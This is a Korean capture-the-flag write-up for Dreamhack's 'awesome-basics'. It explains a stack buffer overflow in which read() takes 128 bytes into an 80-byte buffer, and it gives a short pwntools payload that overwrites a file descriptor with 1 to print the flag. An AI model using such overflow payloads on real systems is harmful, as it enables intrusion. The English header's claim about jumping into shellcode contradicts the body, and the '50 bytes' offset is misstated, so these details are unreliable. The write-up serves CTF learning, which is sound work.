awesome-basics
A textbook stack overflow: an 80-byte buffer read with 0x80, overwriting RIP to jump into shellcode.


코드를 보면 RIP를 덮어서 shellcode 실행하는 전형적인 bof 로 보입니다. 중요 포인트만 보면:
char buf[80];
read(stdin_fd, buf, 0x80);
buf는 80바이트인데, read()는 0x80 = 128바이트를 읽습니다. 즉 48바이트 오버플로우가 납니다.
gdb 로 스택 프레임을 알아 보았습니다. bof 는 offset 이 필요하니까:
높은 주소
────────────────────
rbp+0x08 : saved RIP ← 104 bytes 후 도달 rbp : saved RBP
rbp-0x04 : stdin_fd
rbp-0x08 : stdout_fd
rbp-0x0c : flag_fd
rbp-0x10 : tmp_fd
rbp-0x11 : buf 끝 … rbp-0x60 : buf 시작 ← read() 입력 시작
────────────────────
낮은 주소
0x60 에서 tmp_fd 의 0x10 까지 50 바이트 오프셋이 있다. 10진수로 하면, 80 입니다.
tmp_fd 를 덮는 이유는, 핵심은 Linux/Unix에서 파일 디스크립터 숫자 1은 표준 출력(stdout) 이라는 점입니다.
프로그램에 이런 코드가 있습니다.
int stdout_fd = 1;
int tmp_fd;
tmp_fd = open("./tmp/flag", O_WRONLY);
write(stdout_fd, "Your Input: ", 12);
read(stdin_fd, buf, 0x80);
write(tmp_fd, flag, FLAG_SIZE);
write(tmp_fd, buf, 80);
여기서 write(fd, data, size)는 이렇게 동작합니다.
write(어디에 쓸지, 무엇을 쓸지, 몇 바이트 쓸지)
예를 들어:
write(1, "hello\n", 6);
이건 화면에 hello를 출력한다는 뜻입니다.
리눅스 프로그램은 기본적으로 아래 번호를 가지고 시작해. 0 = stdin = 입력 1 = stdout = 화면 출력 2 = stderr = 에러 출력
그렇기에 tmp_fd 를 1 로 덮으면 플래그가 출력됩니다.
from pwn import * p = remote('host3.dreamhack.games', 14259) payload = b'A'*80 payload += p64(1)
p.sendline(payload) p.interactive()